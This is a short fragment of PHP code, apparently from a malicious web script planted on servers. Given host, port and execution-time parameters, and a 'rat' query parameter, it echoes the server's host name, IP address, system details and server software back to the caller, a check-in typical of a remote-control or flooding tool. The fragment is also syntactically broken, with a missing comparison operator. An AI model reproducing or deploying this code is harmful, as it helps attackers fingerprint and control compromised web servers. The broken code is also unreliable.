if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ if (StrLen($_GET['rat']) 0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo "Parameters can not be empty!"; exit; }